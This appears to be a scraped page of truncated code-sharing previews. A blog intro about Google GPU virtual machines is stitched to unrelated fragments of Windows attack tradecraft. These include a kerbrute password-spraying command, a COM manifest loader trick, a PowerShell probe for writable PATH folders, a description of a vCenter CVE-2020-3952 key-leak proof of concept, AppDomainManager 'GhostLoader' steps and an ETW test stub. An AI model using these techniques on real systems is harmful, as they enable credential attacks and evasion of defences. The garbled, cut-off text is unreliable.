In February 2017, Google announced the availability GPU-based VMs. I spun up a few of these instances, and ran some benchmarks. Along the way, I wrote down the steps taken to provision these VM instances, and install relevant drivers.
Update April 2019: Updated instructions to use instances with the Tesla T4 GPUs.
| /* | |
| ================================ Compile as a .Net DLL ============================== | |
| C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:TestAssembly.dll TestAssembly.cs | |
| */ | |
| using System.Windows.Forms; | |
| namespace TestNamespace |
With kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>With Rubeus version with brute module:
| [DllImport("shell32.dll", SetLastError = true)] | |
| static extern IntPtr CommandLineToArgvW([MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, out int pNumArgs); | |
| public static string[] CommandLineToArgs(string commandLine) | |
| { | |
| int argc; | |
| var argv = CommandLineToArgvW(commandLine, out argc); | |
| if (argv == IntPtr.Zero) | |
| throw new System.ComponentModel.Win32Exception(); | |
| try |
| new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\\Windows\\System32\\Tasks'; | |
| //new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = "mydll, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" | |
| //new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = "MyAppDomainManager"; | |
| new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319'; | |
| var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"> <dependency><dependentAssembly> <assemblyIdentity name="tasks" version="0.0.0.0"/> </dependentAssembly> </dependency> <assemblyIdentity name="tasks" type="win32" version="0.0.0.0" /><description>Built with love by Casey Smith @subTee </description><clrClass name="MyDLL.Operations" clsid="{31D2B969-7608-426E-9D8E-A09FC9A5ACDC}" progid="MyDLL.Operations" ru |
| If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { | |
| Write-Warning "This script will not function with administrative privileges. Please run as a normal user." | |
| Break | |
| } | |
| $outfile = "acltestfile" | |
| set-variable -name paths -value (Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment' -Name PATH).path.Split(";") | |
| Foreach ($path in $paths) { | |
| # This prints a table of ACLs | |
| # get-acl $path | %{ $_.Access } | ft -Wrap -AutoSize -property IdentityReference, AccessControlType, FileSystemRights |
This is my proof-of-concept exploit code for the VMware vCenter Directory Service (vmdir) sensitive information disclosure vulnerability (CVE-2020-3952 / VMSA-2020-0006).
It turns out that the vmdir service, which provides an LDAP directory server (and more), allows anonymous LDAP connections (also called LDAP binding) in the ACL MODE: Legacy configuration that is present
after upgrading from vCenter 6.5. While the LDAP tree doesn't expose password
hashes for administrative users, it does expose the VMware SSO server's SAML identity provider (IdP) certificates
and private key. This key can be downloaded and used to sign arbitrary SAML responses, allowing an attacker to
GhostLoader Steps :)
1. Create C:\Tools
2. Copy Some .NET, any .NET binary to C:\Tools
3. In this example, we use FileHistory.exe, but any .NET app will do.
4. Ensure FileHistory.exe.config is in the same path
5. Execute C:\Tools\FileHistory.exe
| using System; | |
| using System.Diagnostics; | |
| using System.Runtime.InteropServices; | |
| namespace EtwpTest | |
| { | |
| class Program | |
| { | |
| static void Main(string[] args) | |
| { |